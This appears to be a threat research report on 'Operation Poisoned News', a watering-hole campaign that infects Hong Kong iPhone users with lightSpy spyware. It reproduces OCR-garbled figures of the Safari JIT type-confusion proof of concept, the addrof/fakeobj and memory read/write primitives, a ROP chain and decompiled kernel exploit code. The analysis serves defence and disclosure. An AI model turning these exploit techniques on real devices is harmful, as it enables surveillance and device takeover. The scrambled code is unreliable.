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Trend Micro discovered a watering hole attack against iOS users in Hong Kong that first became active in
January 2020. The campaign designed several webpages disguised as local news pages then injected
them with an iframe that loads an iOS exploit. The iOS exploit flow was designed to exploit vulnerable
iOS versions 12.1 and 12.2 on several models ranging from the iPhone 6S to the iPhone X.

Users with unpatched iPhones that access the concerned links will be infected with an iOS malware that
can spy on and take full control of the devices. We found that the campaign tricked users into clicking on
the malicious news links by posting them on popular forums in Hong Kong.

The iOS malware, which we named "lightSpy" (detected by Trend Micro as IOS_LightSpy.A), is a modular
backdoor that allowed the attacker to remotely execute a shell command and manipulate files on the
infected device. It is also implemented with several functionalities through different modules for exfiltrating
data from the infected device including:

e Hardware information

e Contacts

e Keychain

e SMS messages

e Phone call history

e GPS location

e Connected Wi-Fi history

e Browser history of Safari and Chrome

The malware also reports the surrounding environment of the device by:

e Scanning local network IP address
e Scanning available Wi-Fi network

The campaign also employs modules specifically designed to exfiltrate data from popular messenger
applications such as QQ, WeChat, and Telegram.

Our research revealed the campaign also targeted Android devices in 2019. We found URL links of a
malicious APK file posted on public Hong Kong-based Telegram channels. The message that the threat
actors sent was disguised as a promotion of a seemingly legitimate application luring Android users to
install it on their devices. The malware can also exfiltrate device information, contacts, and SMS
messages. We named the Android malware "dmsSpy" (detected as AndroidOS_dmsSpy.A).

The design and functionality of the operation suggest that it is not a targeted attack but one that aims to
compromise mobile devices as many as possible for backdoor and surveillance. We dubbed the
campaign "Operation Poisoned News."




1 Attack Chain
1.1 Watering hole attack tactic

On February 19, we started noticing a watering hole attack targeting iOS users. The malicious webpage
crafted by the attacker contained three iframe links to three different sites, with only one that was visible
on the browser. The visible link connected to a page from a legitimate news website to make users
believe they are looking at the original news website. One invisible iframe connected back to the
webserver for the visitor statistic. Another invisible iframe connected to another server, which hosted the
main script of the iOS exploit.

Figure 1. HTML code of the malicious website with three iframes

The threat actors further tricked users on the source of these malicious news webpages by posting them
on four different forums of Hong Kong-based users. All of these four forums are popular and provide their
own mobile applications for their users. Operation Poisoned News usually posted the topic on the general
discussion section of the forums.

The forum post includes the title of the news, the pictures from the news, and the malicious link the threat
actors prepared. The forum accounts we found were registered right before the malicious link was posted.
We believe it was directly posted by the campaign, and not a case where people reshared the news links
from another source.

The news topics selected as lure were mostly related to sexually implied headlines or those related to the
COVID-19 disease. We believe these topics weren’t used to target specific users.
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Figure 2. List of news topics posted by the campaign
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Figure 3. Forum post with the link to malicious site

We also found a second type of watering hole website that did not use an iframe to load news websites.
The page directly copied the original news page and injected the iframe linked to the campaign's exploit
server. Our telemetry data shows this type of watering hole was distributed in Hong Kong starting January
2. However, we were not able to identify where the malicious link was distributed at that time.
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Figure 4. Copied news page with an iframe that loads the remote exploit

On March 20, the watering hole attack from Operation Poisoned News continued, as the campaign
posted on a forum regarding a supposed schedule for protests in Hong Kong. The link leads to the same
infection chain as in the earlier cases.
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Figure 5. Link to malicious site claiming to be a protest schedule

1.2 Infection chain

The attack takes advantage of iOS versions 12.1 and iOS 12.2, which targets iPhone models from the 6S
up to the iPhone X. The following figure shows how the exploit checks for different supported iOS and
device versions.

Here we go...

[+] start check device...

[+] supported target list:

- device:iPhone X 0s version:12.2

- device:iPhone 8,0s version:12.2

- device:iPhone 8+,0s version:12.2

- device:iPhone 7,0s version:12.2

- device:iPhone 7+,0s version:12.2

- device:iPhone 65.,0s version:12.2

- device:iPhone 7,08 version:12.12

- device:iPhone 7,08 version:12.14

- device:iPhone 7,0s version:12.11

- device:iPhone 7 0s version:12.1

[*] get device gpu info:Apple A9X GPUIApple A10X GPUIApple A9 GPUIApple A10 GPUIApple A11 GPUIApple A12X GPUIApple A12 GPUIApple A8 GPUIApple A8X GPUlApple A13 GPU
[*] gpu list: A9X.A10X,A9,A10,A11,A12X A12,A8 A8X A13
[*] width: 1440 height:900

Figure 6. Code checking for target iOS devices

The full exploit chain involves exploiting a silently patched Safari bug on multiple recent iOS versions and
a customized kernel exploit. Once the Safari browser renders the exploit, a silently patched bug is taken
advantage of, which leads to the exploitation of a known kernel vulnerability to gain root privileges. The
exploited kernel bug has been assigned with the CVE ID CVE-2019-8605.

However, the silently patched bug exploited on Safari does not have an assigned CVE ID; some
researchers also noted an associated history of failed patches.

After compromising the devices, the attacker installs undocumented and sophisticated spyware for
maintaining control over devices and exfiltrating information. The spyware has a modular design with
multiple capabilities, such as:

e Modules update
e Remote command dispatch per module

e Complete shell command module

Many of the modules were designed for data exfiltration; for example, there are modules for stealing
information from WeChat and Telegram. The following image shows the full attack chain and names the
modules initially downloaded and configured.
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Figure 7. lightSpy infection chain

Because the malware was previously undocumented, we named it "lightSpy." Light is the module
manager of this iOS spyware architecture. While analyzing the payload.dylib payload, we noticed that the
decoded configuration file used by launchctl shows a URL that points to /androidmm/light, which hints that
there is probably also an Android version of lightSpy.

snnuphrmnn- {
"ip_port" =

ltrkmtell’ =
uRemotePort =

ltrRmtoIP =
uRemotePort =

.

|8 clue for another android campaign

;trRmtolP =
uRemotePort =
}

)i K

strConsoleParam = "s&|12|2=:
strDownAddress = “http:/ /androidmm/light";
}

Figure 8. Config file hints at Android counterpart

The payload, payload.dylib, is signed using the Apple developer certificate chain, probably to evade
detection. The campaign is relatively new, based on the signature date (Nov. 29, 2019).
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Format=Mach-0 thin (armé4)

CodeDirectory v=20400 size=6250 flags=0x0(none) hashes=187+5 location=embedded
Signature size=4709

Authority=iPhone Developer: I~ =

Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA

Signed Time=Nov 29, 2019 at 17:03:44

Info.plist=not bound

TeamIdentifier=XWXR3A543Y

Sealed Resources=none

Internal requirements count=1 size=172

Figure 9. Signed time indicates late November 2019

The next sections describe each stage of the full attack chain for iOS, including an analysis of the
lightSpy malware. The final section covers the Android APK and how it is related to the Operation
Poisoned News campaign.

2 Exploits Analyses
Even when the exploited bug and code execution techniques used in the captured exploit are known in
the research community, this section will cover the exploit stages, providing some details focusing on
what is unique to the analyzed samples.

2.1 The JavaScriptCore exploit

To briefly describe the exploit used to deploy lightSpy, the following sections will be covered:

1. Bug triggering: The use of the “silently patched” vulnerability

2. The addrof/fakeobj primitives: The use of generic exploit primitives to build an
arbitrary R/W primitive from faked objects.

3. Arbitrary address read/write primitive: Take advantage of the final WebAssembly
arbitrary R/W primitives to overwrite the WebAssembly object

4. Shellcode execution: The exploit shellcode execution that precedes the kernel exploit to
get root privileges on the devices

2.1.1 Bug triggering

This bug was accidentally found by @qwertyoruiop in hxxp://rce[.]party/wtf.js. It has since been fixed and
does not have a CVE number assigned. It is a JIT (just-in-time)-type confusion bug in Safari’s JavaScript
engine JavaScriptCore.




let s = new Date();
let confuse = new Array( ’ Yi
sl = 15
let hack = 0;
Eta:e.prctatypa._pxutu_ = new Proxzy(Date.prototype._proto_, {has: function() {
5 if (hack) {
print ("s

F }
Ly 7/ chis dossn'c

trigger type conversion of |s| into SlowPutArrayStorage

[function victim(oj,£64,u32,doubleArray) {

double. 1;

2
£64[0]
u32[2]

doublearray[l] = £64[11;
return r;

=1

let u32 = new Uint32array(4);
let £64 — new FloatG4Array(u32.buffer);

for(let i=0; i< ; i++) victim(s,£64,u32,confuse);
hack = 1;
victim(s,£64,u32,confuse) ;

1

Figure 10. Key parts of the PoC

1. The for loop triggers the JIT bug on the function victim()

In the function victim(), the expression “let r = 5 in 0j;” triggers the function has() callback

3. Because the flag “hack” has been set to 1 after the loop calling function victim() being JITed,
the “if” branch is executed and confuse[1] is set to an object. So the array “confuse” is
converted from “ArrayWithDouble” to “ArrayWithContigous” by this callback

g

The problem is JIT does not know there could be a side effect in this callback and the second element of
“confuse” is a pointer, which was a number, and still treats the array “confuse” as “ArrayWithDouble”,
causing the type confusion.

2.1.2 The addrof/fakeobj primitives

From a Phrack article, Saelo has introduced the addrof and fakeobj primitives. The addrof() function is
used to leak the memory address of the given JavaScript object, and the fakeobj() function is used to
accept some given address and return a faked JavaScript object at that location.

Because of the JIT-type confusion bug, the primitives addrof and fakeobj can easily be implemented by
confusing a double and a pointer in the array:



https://twitter.com/5aelo
http://phrack.org/papers/attacking_javascript_engines.html

function __addrof(val) { function fake_obj_at_address(whers, high) {

let = = new Error(); T g o s T

lﬁlcm‘f“e = oo Ry (a2, A89:-37) 5 let confuse = new Array(13.37, 13.37);

s[1] = 1; o

let hack = 0; j“]h ]t’i R

Error.prototype. proto = mew Proxy (Error.prototype. proto 6 [l = 0

‘ — — Date.prototype.  proto_ = new Proxy(Date.prototype.  proto_ , {

has: function () { has: function () {
if (hack) { if (hack) {
confuse[0] = val; confuse[1] = {};

} }
hi b

function victim(oj, £64, u32, doubleArray, high) { funotion victim(oj, £64, u32, doubleArray) {

dnuhleArraﬁ:’[uli doubleArray[0];
08 S a3 af let r = 5 in oj;
£e4[0] = fe4[l] = doublearrayl[0]; . :
SERET =ty £64[0] = £64[1] = doublearray[l];
doublenrray[0] = £64[0]; .
return r; u32[3] - high;
3 u32[2] = where;
dowblearray[l] = £64[1]:
let u32 = mew Uint32Array(4); return r;
let £64 = pew FloatG4Array(u32.buffer); }
for (let i = 0; i < 10000; i++) victim(s, £€4, u32, confuse, 0); Tet u32 = new Uint3Zarray(4) ;
laeis = Lp let £64 — new FloatG4Array (u32.buffer);
victim(s, £64, u32, confuse, O
let add = (u32[0] + u32[1] * Oxl . . I .
for (let i = 0; i < 10000; i++) victim(s, £64, w32, confuse);
let h = (u32[0] + u32[1] * Oxl 00) .tostring(16) [0] hack = 1;

victim(s, £€4, u32, confuss, h); victim(s, £€4, u32, confuse);

return add; return confuse[l];
Figure 11. The addrof and fakeobj primitives

2.1.3 Arbitrary address read/write primitive

After getting addrof/fakeobj, it sprays 0x5000 Float64Array and a few WebAssembly objects. It is easy to
build a faked and effective Structure ID of 0x5000, which matches the real Structure ID of the sprayed
Float64Array. Next, it uses the Structure ID and fakeobj to get a faked object, and adds the Structure ID
to get a faked WebAssembly.Memory object. It then creates a faked wasminternalMemory, which has a
large size, and sets it as the faked WebAssembly.Memory object's memory property.

llHeader

new Int64([

0, faked Structure ID

var wasmBuffer = {
jsCellHeadsr: jsCellHeadsr.asJdSValue(),
butterfly: null,
vector: null, faked WebAssembly.Memory
memory: null,
deleteMe: null

var wasmInternalMemory = {

jsCellHeader: null, faked wasminternalMemory
memoryToRead: {},
sizeToRead: (mew Inté4( £')) .asJsValue (),
size: (mew Int64(’'0x0F )) .asdsvalue (),
initialSize: (mew Inté4(’ FF')) .asJSValue () ,
junkl: null,
junk2: null,
junk3: mull,
junkd: null,
junk5: mull,
}i
var wasmBufferRawhAddr ddrof2 (wasmBuffer) ;
print (' [+] w r at Ox' + wasmBufferRawAddr.toString(l€));

let h = new Int64 (wasmBufferRawAddr) .toString () [9];
var fakeWasmBuffer = fake ob] at_address (wasmBufferRawAddr + 1€, parselnt(h)

while (!(fakeWasmBuffer instanceof Weblssembly.Memory)) {
jsCellHeader.assignadd(jscellHeader, Inté4.0ne);
wasmBuffer.jsCellHeader = jsCellHeader.asJdsvalue() ;

}

var wasmMemRawAdd:
print (' [+] w

addrof (wasmInternalMemory) ;
at Ox' + wasmMemRawAddr.toString(l€));
fake obj_at_address2(wasmMemRawAddr + 16, parselnt(h));

var wasmMem

wasmBuffer.memory = wasmMem;

var importcbject = {
imports: {

mem: fakeWasmBuffer
}

Figure 12. Faked Structure ID, WebAssembly.Memory, and wasminternalMemory (top),
and Faked objects (bottom)



Finally, it gets a stable memory read/write primitive by this faked WebAssembly.Memory object:

var newprimitives = {};
[ newprimitives.create writer = function(addrobj) {
[ newprimitives.read i64 = function(addrObj, offset) {
= newprimitives.write 164 = function(addrcbj, offset, wvalue) {
newprimitives.write_non zero = functiom(where, values)
B {
(3| newprimitives.read i32 = function(addrobj, offset) {
[+ newprimitives.write 132 = function(addrCbj, offset, walue) {
[ newprimitives.read i8 = function(addrObj, offset) {
[ newprimitives.write i8 = function(addrObj, offset, wvalue) {
(3| newprimitives.copyto = function(addrobj, offset, data, length) {
[+ newprimitives.copyfrom = function(addrObj, offset, length) {
newprimitives.addrof = window.addrof;
newprimitives.fakecbj = window.faksobj;
print("[+] got stable memory r/w.");
window.primitives = newprimitives;

Figure 13. Memory read/write primitives

2.1.4 Shellcode execution
After getting the arbitrary address read/write primitive, the exploit achieves the shellcode execution in
stage two.

It creates a JiTed function and gets the function address by the exported symbol
“startOfFixedExecutableMemoryPool”. After that, it builds a return-oriented programming (ROP) chain to
write the shellcode to the JIT page and creates a temporary stack to execute the ROP chain.




var startOfFfixedExecutableMemoryPoolkddr =
var endOfFixedExecutableMemoryPoolAddr
1f(_0ff.fixedmempool —
startCfFixedExecutableMemoryFoolAddr = new Int64(slideaddr(_off.startfixedmempool))
endOfFixedExecutableMemoryPoolAddr = new Intéd (slideaddr (_off.endfixedmempool));
1 elsef
var fixed = primitives.read 164 (slideaddr( off.fixedmempool), .
startOfFixedExecutableMemoryPooliddr = Add(fixed, Oxcg);:
endOfFixedExecutableMenoryPoolAddr = Add(fixed, 0xd0

:// new Inté4(slideaddr(_off.starcfixedmempool));
//new Inté4(slideaddr( off.endfixedmempool));

//var startOffixedExscutableMemoryPoolAddr = Add(slideaddr( off.fixedmempool), Ox
//var endOfFixedExscutableMemoryPooliddr = Add(slideaddr (_off.fixedmempool), 0xd0):

print ("[*] s

+ hexify(startOfFixedExecutableMemoryPoollddr) + ", + hexify(endOfFixedExecutableMemoryPooliddr)) ;
/freturn;

var StartOfFixedExecutableMemoryPool = primitives.read i64 (startOfFixedExecutableMemoryPoolRddr, 0):

var endOfFixedExecutableMemoryPool = primitives.read_i64(endOfFixedExecutableMemoryPooliddr, 0):

print("[*] s 1" + nexify(startOfFixedExecutableMemoryPool) + " " + nexify(endOfFixesdExscutableMemoryPool)) ;

var create_stack = function(call_func){
if(_off.performJITMemcpy_func —

var jitWriteSepara ionAddr lideaddr(_off.jit_writeseperateheaps_func);
var jitWriteSeparateHeapsFunction = primicives.read ié4 (jitWriteSeparaceHeapsFunctionAddr,
var code Off = Sub(codeAddr, StartOfFixedExecutableMemoryPool):
call func(jitWriteSeparaceHeapsFunction, code off, paddr, shsz);
call_func(jmpAddr, primitives.read 164 (primitives.addrof (binary),2), dlsym,startOffizedExecutableMemoryPool,
endOfFixedExecutableMemoryPool, jitWriteSeparateHeapsFunction);

i

}elsef
var useFastPermisionsJITCopyAddr = slideaddr(_off.usefastpermissions_jitcopy);
var useFastPermisionsJITCopy = primitives.read i64(useFastPermisionsJITCopyAddr, G
var performdITMemcpy = Inté4.Zero;
if (useFastPermisionsJITCopy) { //ip8 up

perforndITMemcpy = slideaddr( off.performJITMemcpy func):
¥
//var code_off = Sub(codeAddr, startOfFixedExecutableMemoryPool);
//add call via x&(jitWriteSeparateHeapsFunction, code off, paddr, shsz);:
call_func(performiITMemcpy, codeAddr, paddr, shsz):
//1log.info ("ImpAddr:" + hexify(impAddr)):
//impAddr= new Int64(0x111111111);
call func(jmpAddr, primitives.read i64(primitives.addrof(binary), 2}, dlsym, 0, endOfFixedExecutableMemoryPool
. performJITMemcpy) ;
//add_call via x8(longimp, jmpbufAddr, 12);:
T
1
if(_off.callver — 1){

create_stack(add_call);
Jelse if( off.callver — 2){
create_stack(add_call via_xs):

var add call llvm = function (func, x0, x1, x2, x3, x4, jump to) {
// in stackloader:
arr[pos++] = Oxdead0010; /f unused
arr[pos+t] = // unused
arr[pos++] = O 00 // unused
arr [pos++] // unused
arr [pos++] // x6 (gadget for regloader)
arr[pos++] (gadget for regloader)
arr[pos++] (unused)
arr [pos++] (unused)

arr[pos++] x4 (args)
arr [pos++] x4 (arg5)
arr [pos++] x3 (arg4)
arr[pos++] x3 (argd)
arr[pos++] == x2 (arg3)

arr [pos++] = (arg3)
arr[pos++] = func.lo(); (argl)
arr[post+] = func.hi(): %0 (argl)
arr[pos++] = x1.10(); 2 x1 (arg2)
arr[pos++] = x1.hi{); 2 x1 (arg2)
arr[post+] = x2.10(): (func)
arr[post+] = x2.hi{): (func)
arr[pos++] = x3.10(); (unused)
arr[pos++] = x3.hi(); (unused)
arr[postt] dispatch.lo() : // %19 (unused)
arr[pos++] — dispatch.hi(): // %19 (unused)
var tmppos = pos;

arr[pos++] = Add(stack, tmppos * ¢ + o) : //
arr[post++] = Add(stack, tmppos * 4 + Lhif): /S
arr[pos++] = regloader.lo(): // %30 (first gadget)
arr[pos++] = regloader.hi(); // %30 (first gadget)

ff after dispatch:

arr[pos++] = Oxdead!
arr[pos++]
arr[pos++]

// unused
// unused
// unused

arr[pos++] e used
arr [pos++] rr 2 (unused)
arr[pos++] // x22 (unused)

azz[postt] // x21 (unused)

Figure 14. Temp stack for executing the ROP chain




Since the payload contains the jailbreak code after the successful execution of the payload, it will get root
privilege.

The next section describes how the payload gets root privilege.

2.2 Kernel exploit
In this section, we mainly introduce the local privilege escalation exploit chain used in this attack. All the
exploit codes can be found in the payload.dylib payload.

In the jailbreak rootkit published on GitHub by @pwn20wnd & @sbingner, it integrates the following public
exploits:

Indicator Attribution Description

empty_list CVE-2018-4243 i0S11.0-11.31

multi_path exploit CVE-2018-4241 i0S11.2-11.3.1

async_wake CVE-2017-13861 i0S 11.1.2

Voucher swap CVE-2019-6225 i0S 11.2 -i0S 12.1.2

mach_swap CVE-2019-6225 i0S 11 - 12.1.2 (<=A9 devices
only)

mach swap?2 CVE-2019-6225 i0S11-12.1.2 (on A7 - A1l
devices)

Table 1. Public exploits used by an iOS jailbreak rootkit

To support the iIOS 12.2.* versions, this attack campaign used another vulnerability (CVE-2019-8605),
which was found by Google Project Zero member Ned Willamson. There are also different exploit
versions published on GitHub. In our findings, the campaign used the exploit host in sock port, which
supports iOS 10.0-12.2 and extends the jailbreak ability.

void _noreturn start_jailbreak()

NSLog (CFSTR("[*] Starting...\n"));
sub_T19FC(3LL);

jailbreak();

sub_T1ACC();

while ( 1 )

A

Figure 15. Where the privilege escalation attack starts

Not only did the sock port project use CVE-2019-8605 to get the receive rights of the kernel task port in
the get_tfp0() function, it also nearly supports most devices with system versions between 10.0 and 12.2.
Therefore, in the exploit chain of this campaign, it simply integrates these codes to help to achieve the
tfp0, as shown in the following figure.



https://github.com/pwn20wndstuff/Undecimus
https://github.com/Jailbreaks/empty_list
https://github.com/GeoSn0w/multi_path-async_wake_utils
https://github.com/benjibobs/async_wake
https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10
https://github.com/PsychoTea/machswap
https://github.com/PsychoTea/machswap2
https://github.com/jakeajames/sock_port
https://github.com/jakeajames/sock_port/blob/master/sock_port/exploit.c

exploit_success = 13
vl = (int *)mach_host_self();
myfioet = (unsigned int)vij

£ ( 1(_DWORD)v1 || myHost == -1 )

v172 = *_error();
if ( strrohr("/ 1oad jbreak/source/jailbreak.n", 47) )

strrchr("/Users/ma jbreak/source/jailbreak.m", 47);
nsmg(cnnq"m --un(td u)n- tu(is]"));
1 or

*vl = vﬂl

}
v182 = myHost;
get_tfpO(vl, v2, vi, v4, v5); I :s:05 the exp in https://github.com/jakeajames/sock_port
kerniel_base = find_kernel_base();
bu- >= OxFFFF000000000000LL )
(

ba

rnel } Dase 1= -1 )
+ 0xFFSFFCOOOLL;

)i

: 0x301611x"));
_slide: 0x301611x"));

¢ .
if ( 1(sub_! ;lsl(vs) & 1))

{
NSLog (CFSTR("[*] Unable to verify TFP0."));
exploit_success = 0;

¥
if ( exploit_success & 1 & (unsigned int)Rea e) 1= -17958193 )

€132 (kernel ]
-n.og<cnn( £ Unable to verify kernel ba )i

Figure 16. The get_tfp0() function

pri;:;("[ﬁ]-a;;;;ing safer port\n");
v60 = new port();
if ( 1ve0 )

printf("[-] failed to allocate new tfp0 port\n");
goto LABEL_150;

v59 = find_port_sock_part(v60, qword AFE18);
if ( 1v59 )

printf("[-] failed to find new tfp0 port address\n");
goto LABEL_150;

}
v58 = kalloc(0x600LL);
if ( 1v58 )

printf("[-] failed to kalloc faketask\n");
goto LABEL_150;

}
kwrite(v58, v11l4, 0x600uLL);

Figure 17. The get_tfp0 function in payload.dylib, which is the same as the sock_port project

NSLog (CPSTR(" () Initializing patchfinder..."));
NSLog(CPSTR("[*] dec kernel path: $8°));
proc_i -u—un _addr(v7);

71 = sub_22r88(vs, OLL)}
(_QWORD *)&original ol _cache[4] = fopen("/System/Library/Caches/com.apple.kernelcaches/kernelcache”, "rb");
4£7( 1%(_QWORD *)& 1_Kernel_cache[4] )

*(_QWORD *)origi (unsigned int)*__error()

i
__error() = *(_DWORD *)or el_cachej

}

*(_QWORD *)&decompressed kernel cache[d] = fopen(”/var/tmp/kernelcache.dec”, "w+b™);
4if ( 1*(_QWORD *)&decompressed_kernel cache(4] )
{

*(_QWORD *)decompressed_kernel_cac signed int)* _error
if ( strrchr(” /uuz-/uc/nmxo-a-/j»nuknnx/jbxnn/-ouzc-/j-ubr-n - 5,40
strrchr("/Users/mac/Downloads/jbreakiBiZ/jbreak/source/jailbreak.n”, 47);

NSLog (CPSTR("[*] _assert(%d \-)n- tufis]"));
*__error() = *(_DWORD *)decompr ed_kernel_cachej

if ( (uasigned iat)sub mol(
+(_QWORD *)goriginal_ kern:
*(CQWORD *)&decompressed_ke

OoLL,
1) )

V168 = *

sed_kernel_cache[4]);
nal_kernel cache[4]);
[4) = sub_56B40(v9,
v63 = *( OWORD *)&kernelVersion(4]

NSLog (CFSTR("[*] ts\n"));

4if ( 1*(_QWORD *)&kernelVersion(4] )

{

vi4 = __error();

yersion = (unsigned int)*vidy

if ( strrchr(" /uun/-e/nmxoau/jbuunlx/jbn-n/-ouze-/j-ubn-k - 5 47) )
strrchr("/Users/mac/Downloads/jbreakiII#/ jbreak/source/jailbreak.n”
v69 = v152;
(CPSTR("[*) _assert(td:1s)@%s:%u[ts]"));

Figure 18. After getting the tfp0, it initializes the patch handler, which can help find the address of necessary function
symbols




if ( !(found_offsets & 1) ) |
{

lsx.oq(crsn( *l rindinq offsets..."));
setoffset("kernel_base”, kernel blla);
setoffset ("kernel_; “slide", qword_J usoa),
if ( (unsigned __ inté64) ("tr he") < OxFF L || getoffset("trustcache") == -1 )

{
v1l51 = sub 40390( _trustcache");
setoffset ("trustcache”, vi5l);

}
if ( (unsigned __int64) ("tr ") < OxFFF L || getoffset("trustcache") == -1 )
{

v150 = sub_3A0CO();
setoffset ("trustcache”, v150);

if ( (unsigned __ int64) "tz ") < OxFFF L || getoffset("trustcache") == -1 )

setoffset("trustcache"”, OLL);

NSLog (CFSTR("[*] Unable to find kernel offset for trustcache"));
}
else

getoffset("trustcache");

NSLog (CFSTR("[*] trustcache = 0x%0161lx + 0x%01611x"));
v1l7 = getoffset("trustcache");

setoffset("trustcache”, v17 + qword_AF608);

if ( (unsigned __ int64)getoffset("OSBoolean_True") < OxXFFFF L || ge ("0SBoolean_True") == -1 )

v149 = sub 00390( _OSBoolean_True");
setoffset ( osBoolaan True”, v149),

}
if ( (unsigned __ int64)getoffset("OSBoolean_True") < OxFFFF L || ge ("0SBoolean_True") == -1 )

v148 = sub_3C640();
setoffset( osnoclean True", v148);

}
if ( (unsigned __int64)getoffset("0SBoolean_True") < OxFFFF L || ge ("0SBoolean_True") == -1 )

setoffset ("0OSBoolean_True", OLL);
NSLog (CFSTR("[*] Unable to find kernel offset for OSBoolean_True"));

Figure 19. Combining the kernel slides, it resets the real address for those symbols

MSLog (CFSTR("[*] Imitializing jailbreak..."))
v59 = NSLog(CFSTR("[*] Escaping sandbox..."));
myProchAddr = proc_struct de(vSQ};

v60 = (int *)NSLog(CFSTR("[*] myProchddr = 0x%01611x"));

if ( myProcAddr < uxrrrrnnnonnoonnnou || myProcAddr == -1LL )
{

v166 = *__error();

if ( strrchr("/Users/mac/Downloads/jbreakfIB|Z=/jbreak/source/jailbreak.m", 47) )
strrchr("/Users/mac/Downloads/jbreakfJBl®/jbreak/source/jailbreak.m", 47);

NSLog (CFSTR("[*] _assert(id:is)8%s:%u[%s]"));

v60 = __error();

*y60 = v166;

}

kernelCredAddr = get_kernel cred_addr(v60, vﬁl, v62, v63, v6d);

NSLog (CFSTR("[*] kernelCredAddr = 0x%01611x"));

if ( kernelCredAddr < OXFFFFO00000000000LL || kernelCredaddr == -1LL )
{

v165 = *__error();

if ( strrchr( /l.rnersfnacfnmloadsfjbreakE‘JIMEIjhmak/soume/jaubreak m", 47) )
strrchre(" J’Userlfnac/nmloadlljbreakﬂ‘]lljﬂ!/'jbreak!lour:e/jailbreak m", I?),

NSLog (CFSTR("[*] _assert(%d:%s)@%s:%u[%s]"));

*__error() = vl65;

}

v65 = getoffset("shenanigans");

v177 = ReadKernelé4(vi5);

NSLog (CFSTR("[*] Shenanigans = Ox%01611x"));

if ( (v177 < OxFFFFO00000000000LL || v177 == -1LL) && v177 1= OxCAl3FEBA37BELL )
{

vl64 = *__error();

if ( strrchr("/Users/mac/Downloads/jbreakfJ#|Z/jbreak/source/jailbreak.m", 47) )
strrehr (" /Users/mac/Downloads/jbreakf@I&/jbreak/source/jailbreak.m", 47);

NSLog (CFSTR("[*] _assert(id:is)@¥s:%u[%s]"));

*__error() = vle64;

}
if ( v177 != kernelCredAddr )}
{

NSLog(CFSTR("[*] Detected corrupted shenanigans pointer.”));
v177 = kernelCredAddr;

}
v66 = getoffset("shenanigans”);
if ( I(wk64(v66, OxCAL3FEBA37BELL) & 1) )

vl63 = *__error();

if ( strrchr("/Users/mac/Downloads/jbreakPl@lZ/jbreak/source/jailbreak.m", 47) )
strrchr (" /Users/mac/Downloads/jbreakifIllZ/jbreak/source/jailbreak.m", 47);

NSLog (CPSTR("[*] _assert(td:is)@%s:%u[%s8]"));

*_ error() = v163;

}
v1l79 = kernelCredAddr;
myOriginalcredaddr = give_creds_to_process_at_addr (myProchAddr, kernelCredAddr);

Figure 20. The kernel task’s cred value is then stolen for the current process so that it becomes root

After that, it first gets the address of the IOSurfaceRootUserClient port then uses it to get the address of
the actual client and vtable. It then creates a fake client with a fake vtable and overwrites the existing
client with the fake one. Lastly, the IOUserClient::getExternalTrapForindex function in vtable gets
replaced with the ROP gadget (add x0, x0, #0x40; ret;) so it can use I0ConnectTrap6 to call any function
in the kernel as the kernel itself.




__int64 init_kexec()
__int64 vO; // x0

int64 v4; // [xsp+10h] [xbp-70h]
int64 vS; // [xsp+18h] [xbp-68h]
int64 v6; // [xsp+28h] [xbp-58h]
int64 v7; // [xsp+38h] [xbp-48h]
int64 v8; // [xsp+40h] [xbp-40h]
int64 v9; // [xsp+50h] [xbp-30h)
int64 v10; // [xsp+58h] [xbp-28h)
int64 vil; // [xsp+60h] [xbp-20h]
nt J; // [xsp+68h] [xbp-18h]

1nt i; // [xsp+6Ch] [xbp-14h]

int64 IOSur lient_vtab; // [xsp+70h] [xbp-10h)

ehar v!!l_// [xsp+7Fh] [xbp-1h]

user_c. = prepare_user_client();
if ( user_ ullnt && user_client I= -1 )

v0 = proc_struct_addr();
I0SurfaceRootUserClient = get_address_of_port(v0, (unsigned int)user_t elhnt),
if ( (unsigned 1ntsd)lolurh«mﬂucrclfnt_pon >= OxFFFF && IOSur lient_port I= -1 )

vll = IOSurfaceRootUserClient_port;

vl = koffset(17LL);

IOSurfaceRootUserClient_addr = lnndlnnnlu(v“ + vl);

if ( (unsigned __ int64)IOSur _addr >= OxFFF L && I ient_addr I= -1 )

I0SurfaceRootUserClient_vtab = d 164 (10Sur lient_addr);
if ( I0SurfaceRootUserClient vtab >= OxPPPF000000000000LL && IOSurfaceRootUserClient vtab l= -1LL )

fake_vtable = kmem_alloc(4096LL);
if (“(unsigned _ int64)fake_vtable >= OxFFFFO00000000000LL && fake_vtable l= -1 )

for ( L = 0; 1L < 512; ++i )
vm-hk- _vtable + 8 * i;

v = 164 (I0SurfaceRootUserClient_vtab + 8 * i);
wk64(v10, v9);

fake_client = kmem_ alloc(4096LL);
if (T (unsigned _ int64)fake_client >= OxFFFFO00000000000LL && fake_client I= -1 )

for (] = 0; § < 512; ++] )

\.8 = fake_¢ cuone +8*j;
64( lient_addr + 8 * j);

k64 (ve, v1)1

Figure 21. Code overwriting with the fake client and fake vtable

NSLog (CFSTR("[*] Setting HSP4 as TFPO..."));
if ( !(set_hspd((unsigned int)tfp0) & 1) )
{

vi47 = *__error();

if ( strrchr("/Users/mac/Downloads/jbreakRJl|Z/jbreak/source/jailbreak
/Downloads/jbreakf#|Z~/jbreak/source/jailbreak.m”,
sert(%d:%s)@%s:%u[%s]"));

", 47) )
7):

*__error() = v147;

}

NSLog (CFSTR("[*] Successfully set HSP4 as TFP0."));
v58 = NSLog(CPSTR("[*] Setting kernmel task info..."));
if ( 1(sub_1F908(v5%) & 1) )

{

vid6 = » error();

if ( ltrrchr( /Ulen/nc/Download-/jbteak!"l.&/jbrcak/nourco/j‘ubtuk n", 47) )
strrchr (" /Users/mac/Downloads/jbreakMIl|Z/jbreak/source/jailbreak.m", 47);

NSLog(CFSTR("([*] _assert(td:%s)@is:%u(ts]"));

*__error() = v146;

NSLog (CFSTR("[*] Successfully set kermel task info."));
NSLog (CFSTR("[*] Platformizing..."));

if ( I (set_platform binary(myProchddr, 1LL) & 1) )

{

vlid5 = *_error();

if ( strrchr("/Users/mac/Downloads/jbreakBI#iZ/jbreak/source/jailbreak
strrchr("/Users/mac/Downloads/jbreakffJil|#/jbreak/source/jailbreak

NSLog(CPSTR("[*] _assert(%d:%s)@%s:%u[¥s]"));

*__error() = v1is;

", 47) )
. 47);

if ( !(set_cs_platform_ binary(myProciAddr, 1LL) & 1) )
{

vidd = *__error();

if ( strrchr("/Users/mac/Downloads/jbreakfIliZ/jbreak/source/jailbreak.n", 47) )
strrchr("/Users/mac/Downloads/jbreakBIl|Z/jbreak/source/jailbreak.n", 47);

NSLog(CFSTR("[*] _assert(%d:%s)@is:%u[%s]"));

*_error() = vld4;

